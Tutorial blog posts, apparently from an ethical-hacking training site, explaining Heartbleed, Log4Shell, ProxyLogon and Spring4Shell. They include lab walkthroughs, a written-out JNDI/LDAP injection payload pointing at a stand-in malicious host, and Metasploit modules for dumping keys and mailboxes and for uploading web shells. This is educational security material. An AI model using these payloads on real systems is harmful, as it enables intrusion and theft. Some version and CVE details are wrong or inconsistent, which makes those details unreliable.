Posted on

Heartbleed vulnerability explained

Hello, aspiring Ethical Hackers. In this blogpost, you will learn about Heartbleed vulnerability. This bug was publicly disclosed in 2014 and is rated as one of the most critical security vulnerabilities of the last decade.

What is Heartbleed bug?

Heartbleed is a buffer overread vulnerability that exists in an implementation of an extension in OpenSSL cryptography library. This OpenSSL library is widely used in Transport Layer Security (TLS) protocol. The name of the extension which is used in this OpenSSL library is heartbeat. Hence the name of the bug. Heartbleed can be exploited even if vulnerable OpenSSL is not running as a TLS server or client. In a buffer-over-read vulnerability, more data can be read than usually allowed. See how SSL/TLS works. By exploiting this vulnerability, the private key of the SSL certificate can be read.

Practical Walkthrough

Let’s see how this works. For demonstrating this, I will be using a Vulhub lab to setup a vulnerable instance of heartbleed as shown below.

Once the vulnerable instance is ready, I start Metasploit & load the heartbleed module.

I set the IP address and execute the module.

The module is by default set to scan for the vulnerability and it does exactly that. Apart from this action, this module has other actions.

For example, the “dump” action dumps the content of the memory.

When we set the action to “key”, the private key of the SSL server gets dumped.

Real World Examples

At the time of public disclosure of heartbleed, almost 17% of total web servers were found vulnerable to heartbleed, including Google, Yahoo, DropBox, Facebook etc. Here are some Real-world examples of the exploitation of the heartbleed bug.

Mumsnet:

Mumsnet is a parenting site in United Kingdom. Cyber thieves have obtained passwords and personal messages from Mumsnet by exploiting heatbleed in 2014. Mumsnet has over 1.5 million registered members and there is no idea how many details got hacked.

Canada Revenue Agency:

Social Insurance members of over 900 taxpayers were stolen from Canada Revenue Agency by exploiting heartbleed bug within a 6 hours period on 8 April 2014.

Mitigation and Prevention

The bug was fixed by updating to the latest version of OpenSSL version 1.0.1-9. This version adds bounds check to prevent buffer over read.

Posted on

Log4Shell: The Vulnerability That Shook the Internet

Hello aspiring ethical hackers. In this article you will learn about the Log4shell vulnerability. In December 2021, the cybersecurity world was rocked by a critical vulnerability that affected millions of systems worldwide. Known as Log4Shell, this flaw exposed how something as simple as application logging could turn into a remote code execution nightmare.

The vulnerability was found in Apache Log4j, a widely used Java-based logging library. It was assigned the identifier CVE-2021-44228 and quickly received a severity score of 10/10 (Critical). Within hours of public disclosure, attackers began scanning and exploiting vulnerable systems globally.

Let’s break down what happened, why it was so dangerous and what ethical hackers can learn from it.

What Is Log4j?

Log4j is an open-source logging framework maintained by the Apache Software Foundation. Developers use it to record application activity such as:

  • User logins
  • System errors
  • API requests
  • Debugging information

Logging is essential for troubleshooting and monitoring. However, in this case, a powerful feature inside Log4j became the root cause of a massive security issue.

What Is The Root Cause of the vulnerability?

Log4j supports something called JNDI lookups (Java Naming and Directory Interface). This feature allows Log4j to fetch data from external sources, such as:

  • LDAP servers
  • DNS servers
  • RMI endpoints

Under normal circumstances, this capability can be useful. But the problem was that Log4j automatically interpreted certain user-controlled inputs. For example, if an attacker sent this string:

${jndi:ldap://malicious-server.com/exploit}

Log4j would:

  1. Interpret the ${jndi:…} expression
  2. Reach out to the attacker-controlled LDAP server
  3. Download and execute malicious code

This resulted in Remote Code Execution (RCE) which means attackers could run commands on the vulnerable server without authentication.

Practical Walkhrough

Let’s demonstrate this vulnerability practically for better understanding. For this, first, we need a target. We have setup a vulnerable Docker container which we downloaded from here. This container can be started as shown below.

Once the container is up and running, check it’s IP address as shown below.

The target IP address is 172.17.0.2. Now let’s set up the Attacker system. We have setup a new directory named log4shell to store all files belonging to log4shell.

log4shell

We have downloaded a Java exploit to exploit log4j from here.

After extracting the contents of the zip archive, we navigate into the extracted directory to find the exploit. The command to run this exploit is given as shown below.

In the place of “your-private-ip”, we need to enter the attacker IP address (172.17.0.1). Now, what does this exploit do? It starts a fake LDAP server and HTTP server as shown below.

The fake LDAP server is the third party server we need. Next, we need to trigger the exploit. Open a new terminal and run the command as shown below.

In the above command we are starting with curl, you can see “$(jndi)”. JNDI stands for Java Naming and Directory Interface and it is used for lookup of Java objects during program runtime. JNDI can interact with several directory interfaces which provide different scheme of files lookup.

One among them is the Lightweight Directory Access Protocol (LDAP). LDAP is a non-Java-specific protocol that can retrieve the object data as a URL which can be either local or remote. JNDI can be used to load data at an URL as Java object data by utilizing LDAP.

By specifying ${jndi:ldap://172.17.0.1:…..Ao=}, we are asking JNDI to use LDAP to query the URL and load the data there as Java object data. Well, what does the exploit do? As soon as we trigger the exploit, switch to the terminal on which our fake LDAP server is running.

It received a LDAP query and executed a command. It created a new file named “pwned” in the /tmp directory of the target (since that is what the exploit is programmed to do).  Let’s check if the new file is created or not. This can be done as shown below.

As you can see, the file has been successfully created. All good, but what is “X-Api-version” we used while triggering the exploit? That’s a HTTP header. As soon as we trigger the exploit, it will query the fake malicious LDAP server and it is inputting a string that is logged to the target (-H 172.17.0.2) and then loading the malicious code (In this case, creating a new file on target). That’s how Log4jshell exploit works.

Why Log4Shell Was So Dangerous?

Log4Shell was considered very dangerous because of the reasons given below.

1. Extremely Easy to Exploit:

To exploit this vulnerability, attackers only needed to get the malicious string logged. That could happen through:

  • HTTP headers (User-Agent, Referer)
  • Login fields
  • Chat messages
  • API parameters

If the application logged that input using a vulnerable Log4j version, exploitation could occur instantly.

2. Massive Attack Surface:

Log4j was embedded in:

  • Enterprise software
  • Cloud services
  • Security tools
  • Minecraft servers
  • Network appliances

Many organizations didn’t even realize they were using it because it existed as a dependency inside other software.

3. Wormable Potential:

Security researchers quickly demonstrated that Log4Shell could spread automatically, similar to past internet worms. This raised fears of large-scale internet outages.

Real-World Impact

Within days of disclosure:

  • Cryptominers were deployed on vulnerable servers
  • Botnets incorporated the exploit
  • Ransomware groups began using it
  • Nation-state actors reportedly scanned for exposure

Major cloud providers like Amazon Web Services, Microsoft and Google issued urgent advisories and patches for affected services. The vulnerability affected thousands of products across industries including finance, healthcare, telecom and government sectors.

How It Was Fixed?

The Apache team released patched versions of Log4j. They are,

  • 2.15.0 (initial fix)
  • 2.16.0 (disabled JNDI by default)
  • 2.17.x (additional hardening)

Mitigation steps included:

  • Upgrading to the latest Log4j version
  • Disabling JNDI lookups
  • Removing the JndiLookup class
  • Blocking outbound LDAP/RMI traffic
  • Monitoring logs for exploit patterns

Organizations also began using Software Bill of Materials (SBOM) tools to identify hidden dependencies.

Why Log4Shell Still Matters?

Even years after disclosure, vulnerable systems continue to appear online. Legacy systems, unpatched appliances and abandoned software remain exposed. Log4Shell reminds us that:

  • Open-source doesn’t mean automatically secure
  • Supply chain risks are real
  • Small features can have global consequences

Lessons for Ethical Hackers

Log4Shell is more than just a vulnerability. It’s a case study in secure design.

1. Dependencies Matter:

Even if you write very secure code, third-party libraries can introduce critical risks. Ethical hackers must always enumerate software versions during assessments.

2. Input Should Never Be Trusted:

The vulnerability existed because user-controlled data was interpreted dynamically. Input validation and strict configuration are critical.

3. Logging Can Be an Attack Surface Too:

Most beginners think logging is harmless. Log4Shell proved that even defensive mechanisms can become exploitation vectors.

4. Asset Visibility Is Essential:

Many organizations struggled because they didn’t know where Log4j was running. Visibility is as important as patching.

Conclusion

Log4Shell wasn’t just another CVE. It was a wake-up call for the entire technology industry. A logging feature, designed to make debugging easier, nearly destabilized global infrastructure. For ethical hackers, the takeaway is clear: Always look beyond the obvious attack surface. Sometimes the most dangerous vulnerabilities hide in the most trusted components.

If you’re building your cybersecurity foundation, studying Log4Shell will teach you about dependency risks, input handling, remote code execution and real-world incident response — all in one case study. And that makes it one of the most important vulnerabilities of the modern internet era.

Posted on

ProxyLogon vulnerability for beginners

Hello aspiring ethical hackers. In this article, you will learn about the ProxyLogon, a critical vulnerability that affected the Microsoft Exchange Server.  Back when it was discovered late 2020, there were over 2,50,000 vulnerable Microsoft Exchange Servers.

About the vulnerabilit(ies)y


ProxyLogon is a name given to four zero day vulnerabilities that were detected in the Exchange Server in December 2020. On December 10, 2020, Orange Tsai, security researcher working in DEVCORE, discovered that attackers can combine some vulnerabilities in the Exchange Server to achieve remote code execution on the target and upload a webshell to it. The four vulnerabilities are,

1. CVE-2021-26885:

This is a Server-Side Request Forgery (SSRF) vulnerability in the Exchange Server that allows remote attackers to gain admin access once exploited. This can be exploited by sending a specially crafted web request to a vulnerable Exchange Server. The web request contains an XML SOAP payload directed at the Exchange Web Services (EWS) API endpoint.  This request bypasses authentication using specially crafted cookies. This vulnerability, combined with the knowledge of a victim’s email address, means the attacker can exfiltrate all emails from the target’s Exchange mailbox.

2. CVE-2021-26857:

This is a POST-authentication insecure deserialization vulnerability in the Unified Messaging service of an Exchange Server that allows commands to be run with SYSTEM privileges. The SYSTEM account is used by the operating system and services that run under Windows. A SYSTEM account in Windows has full permissions by default. A hacker can either steal credentials or use the above mentioned vulnerability to execute arbitrary commands on a vulnerable Exchange Server in the security context of SYSTEM.

3. CVE-2021-26858 and CVE-2021-27065

These two vulnerabilities are POST-authentication arbitrary file write vulnerabilities that allow attackers to write files to any path on a vulnerable Exchange Server. A malicious hacker can also exploit the previously mentioned SSRF vulnerability to achieve admin access and then exploit this vulnerability to write web shells to virtual directories (VDirs). These virtual directories are published to the internet by the server’s Internet Information Server (IIS).
IIS is Microsoft’s web server and a dependency that is installed with Exchange Server and provides services for Outlook on the web, previously known as Outlook Web Access (OWA), Outlook Anywhere, ActiveSync, Exchange Web Services, Exchange Control Panel (ECP), the Offline Address Book (OAB) and AutoDiscover.
According to Microsoft, these vulnerabilities were first exploited by HAFNIUM, a Chinese government sponsored APT (Advanced Persistent Threat) but operating out of China. This group is known to install the web shell named China Chopper. As of 12th March 2021, at least 9 other hacker groups exploited these vulnerabilities apart from HAFNIUM.  The versions of Exchange Servers vulnerable to these vulnerabilities are,                   

Exchange Server 2019 < 15.02.0792.010                   
Exchange Server 2019 < 15.02.0721.013                   
Exchange Server 2016 < 15.01.2106.013                   
Exchange Server 2013 < 15.00.1497.012

The exploit is named Proxy Logon as it exploits the proxy architecture and login mechanism in the Exchange Server.

Mitigation and Patches

Microsoft has released a security update on March 2021 to patch these vulnerabilities in Exchange Server versions mentioned above. Applying these patches will fix these vulnerabilities. As soon as Microsoft released these security updates, hacker groups around the world went on a scanning spree to hunt for unpatched Exchange Servers.

As there was a delay in applying patches, Microsoft also released a one-click mitigation tool that fixed these vulnerabilities in Exchange Servers. Microsoft has also noted that this tool named Microsoft Exchange On-Premises Mitigation Tool (EOMT) is helpful for those organizations that don’t have a dedicated IT security staff. This tool also includes the Microsoft Safety Scanner and an URL Rewrite mitigation for CVE-2021-26855. However, it stressed that this tool was not an alternative for applying the released security patches.

Proof Of Concept

Metasploit has some modules related to these vulnerabilities. Let’s have a look at these modules.

The auxiliary/gather/exchange_proxylogon_collector module exploits the CVE-2021-26855 vulnerability and dumps all the contents of the mailboxes.

The exploit/windows/http/exchange_proxylogon_rce module exploits the CVE-2021-26855 vulnerability to bypass authentication and gain admin access and then writes a arbitrary file to the target using CVE-2021-27065 to achieve remote code execution.  All the above mentioned versions are vulnerable by default.

The auxiliary/scanner/http/exchange_proxylogon module checks for the CVE-2021-26855 vulnerability that makes Exchange Servers vulnerable.

Posted on

Spring4Shell : Explained With POC

Hello, aspiring Ethical Hackers. In this article you will learn about Spring4shell, a new zero-day vulnerability that has been discovered in Spring Framework. Spring Framework is an open-source application framework for Java and is normally deployed with Apache Tomcat servers.

Vulnerability & Impact

There are two vulnerabilities affecting Spring Framework, one is in Spring Core and second is in Spring Cloud. The Spring Core RCE vulnerability impacts Java class objects.  The vulnerability in Spring Core has been given name Spring4shell in the lines of Log4shell as both vulnerabilities affect a library. Although, it took its name from Log4shell, it is not as dangerous as its namesake.

This vulnerability affects all versions of Spring Core Framework running on JDK versions 9 and after. This vulnerability is tracked as CVE-2022-22965. There is another RCE in Spring Cloud Function versions <=3.1.6 and <=3.2.2.

Proof Of Concept

It’s time to see the exploitation of Spring4shell practically. Let’s create a new directory named spring4shell.

Clone the repository shown in the image below. This repository contains both vulnerable docker image and exploit.

Build the Docker image vulnerable to spring4shell as shown below.

You can check if the target is set or not by visiting the URL in browser.

If you get the above message, the target is ready. Run the exploit. The python exploit uploads a java web shell on the target after exploiting vulnerability.

spring4shell

The exploit completed successfully. The web shell can be accessed at above highlighted address.

The POC is succesful,